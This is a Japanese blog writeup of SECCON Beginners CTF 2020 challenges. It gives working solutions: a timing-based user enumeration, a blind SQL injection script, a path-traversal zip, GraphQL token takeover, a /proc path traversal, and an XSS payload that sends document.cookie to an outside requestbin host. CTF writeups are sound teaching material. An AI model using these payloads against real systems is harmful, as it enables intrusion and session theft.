こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

SECCON Beginners CTF 2020 Writeup

noranecoチームは未参加のため、いつもと違うチームで参加。
Web問を中心に解いた。

色々な方がwriteupを書いてくれると思うので簡易的なwriteupにとどめる。

Web

Spy

DBに存在するユーザを特定すれば勝ち。

ソースコードを読むと、nameを条件にDBからユーザを検索して、存在しない場合は終了し、存在する場合は後続でパスワードのハッシュを計算する処理がある。よって、ユーザの存在有無でレスポンス時間に差異が生まれる。ご丁寧にも、処理時間をレスポンスに含めてくれている。

$ for u in `cat employees.txt`; do echo $u ;curl https://spy.quals.beginners.seccon.jp/ -d "name=$u&password=hoge" -s | grep "It took"; done 
Arthur
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002787 sec to load this page.</p>
Barbara
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003148 sec to load this page.</p>
Christine
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003008 sec to load this page.</p>
David
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003564 sec to load this page.</p>
Elbert
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.3527238 sec to load this page.</p>
Franklin
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002318 sec to load this page.</p>
George
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.4679147 sec to load this page.</p>
Harris
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003867 sec to load this page.</p>
Ivan
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003446 sec to load this page.</p>
Jane
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002919 sec to load this page.</p>
Kevin
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0006480 sec to load this page.</p>
Lazarus
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.4976170 sec to load this page.</p>
Marc
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.3256018 sec to load this page.</p>
Nathan
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002081 sec to load this page.</p>
Oliver
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002898 sec to load this page.</p>
Paul
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003184 sec to load this page.</p>
Quentin
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003119 sec to load this page.</p>
Randolph
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002607 sec to load this page.</p>
Scott
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003556 sec to load this page.</p>
Tony
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.3267539 sec to load this page.</p>
Ulysses
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002503 sec to load this page.</p>
Vincent
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003067 sec to load this page.</p>
Wat
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002440 sec to load this page.</p>
Ximena
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.6319789 sec to load this page.</p>
Yvonne
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.5589504 sec to load this page.</p>
Zalmon
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002911 sec to load this page.</p>

処理時間の長いユーザを入力してフラグゲット。

Tweetstore

dbのcurrent_userを取得できれば勝ち。 SQLiの問題。

searchパラメータとlimitパラメータを入力可能。 searchパラメータは'記号がエスケープされてwhere句にセットされるが、limitパラメータはエスケープされずにlimit句へセットされる。 limit句にcurrent_userのASCIIコード値をセットして、返ってくる件数を観察することで1文字ずつ特定可能。

import requests

URL = "https://tweetstore.quals.beginners.seccon.jp/"

flag = ""

for i in range(50):
    r = requests.get(
        URL,
        params = {
            "search":"",
            "limit":"ascii(substr(current_user,{},1))-48".format(len(flag)+1)
        },
    )
    count = r.text.count("Watch@Twitter")
    flag += chr(count + 48)
    print(flag)
$ python solve.py
c
ct
ctf
ctf4
ctf4b
(snip)
ctf4b{is_postgres_your_friend?}

unzip

ディレクトリトラバーサルするzipファイルを作るだけ。

$ wget https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py
$ touch flag.txt
$ python evilarc.py -d 3 -o unix flag.txt
$ unzip -l evil.zip
Archive:  evil.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2020-05-23 17:32   ../../../flag.txt
---------                     -------
        0                     1 file

アップロードしてアクセスするとフラグゲット

ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}

profiler

graphql injectionの問題。

# curl https://profiler.quals.beginners.seccon.jp/api -H "content-type: application/json" -d '{"query":"query {__type (name: \"Query\") {name fields{name type{name kind ofType{name kind}}}}}"}' -s | jq
{
  "data": {
    "__type": {
      "fields": [
        {
          "name": "me",
          "type": {
            "kind": "NON_NULL",
            "name": null,
            "ofType": {
              "kind": "OBJECT",
              "name": "User"
            }
          }
        },
        {
          "name": "someone",
          "type": {
            "kind": "OBJECT",
            "name": "User",
            "ofType": null
          }
        },
        {
          "name": "flag",
          "type": {
            "kind": "NON_NULL",
            "name": null,
            "ofType": {
              "kind": "SCALAR",
              "name": "String"
            }
          }
        }
      ],
      "name": "Query"
    }
  }

someoneクエリがある。 adminの情報を取得してみる。

# curl https://profiler.quals.beginners.seccon.jp/api -H "content-type: application/json" -d '{"query":"query {someone(uid: \"admin\") {uid,token}}"}' -s | jq
{
  "data": {
    "someone": {
      "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b",
      "uid": "admin"
    }
  }
}

以下を参考にスキーマを取得。

PayloadsAllTheThings/GraphQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub

f:id:graneed:20200524140219p:plain

updateTokenが存在。自分のTokenをadminのtokenに変更する。 f:id:graneed:20200524135756p:plain

その後、FLAGの画面からフラグゲット。

f:id:graneed:20200524140442p:plain

Somen

まず、security.jsのロードをbaseタグで妨害。

CSPにstrict-dynamicが設定されていると、nonceが適切に設定されたscriptタグ内からロードされるスクリプトの実行は許可されるため、idがmessageのscriptタグを作って差し込んでもらう。

location.href="http://requestbin.net/r/1jban181?"+document.cookie; //</title><base href="http://example.com/"><script id="message"></script>

f:id:graneed:20200524140759p:plain

Crypt

R&B

先頭1文字削りながらBASE64とROT13を繰り返すだけ。

Reversing

ghost

$ echo ctf4b{AAAA} | gs -c "/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit"
GPL Ghostscript 9.52 (2020-03-19)
Copyright (C) 2020 Artifex Software, Inc.  All rights reserved.
This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY:
see the file COPYING for details.
3417 61039 39615 14756 10315 49836 8453 13295 12034 59378 12638 

最初のctf4b{の部分が、与えられたoutput.txtの最初と一致することがわかったので、あとは1文字ずつつ探していく。

import subprocess
import string
correct = open("output.txt").read()
flag = "ctf4b{"
while True:
    found = False
    for c in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&()*+,-./:;<=>?@[]^_`{|}~ ':
        cmd1 = "echo '{}'".format(flag + c)
        cmd2 = "| gs -c '/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit'"
        cmd = cmd1 + cmd2
        result = subprocess.check_output(cmd, shell=True).decode("utf-8").split("\n")[4]
        #print(correct)
        #print(result)
        if result in correct:
            flag = flag + c
            print(flag)
            found = True
            break
    if found:
        continue
    else:
        print(flag)
        exit(0)
$ python3 solve.py 
ctf4b{s
(snip)
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

Reversingを一切しておらず、出題者に申し訳ない気持ちしかない。

Misc

readme

/proc/self/environを確認すると、/home/ctf/serverで実行されていることがわかる。
よって、/proc/self/cwdから親ディレクトリを辿ればよい。

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}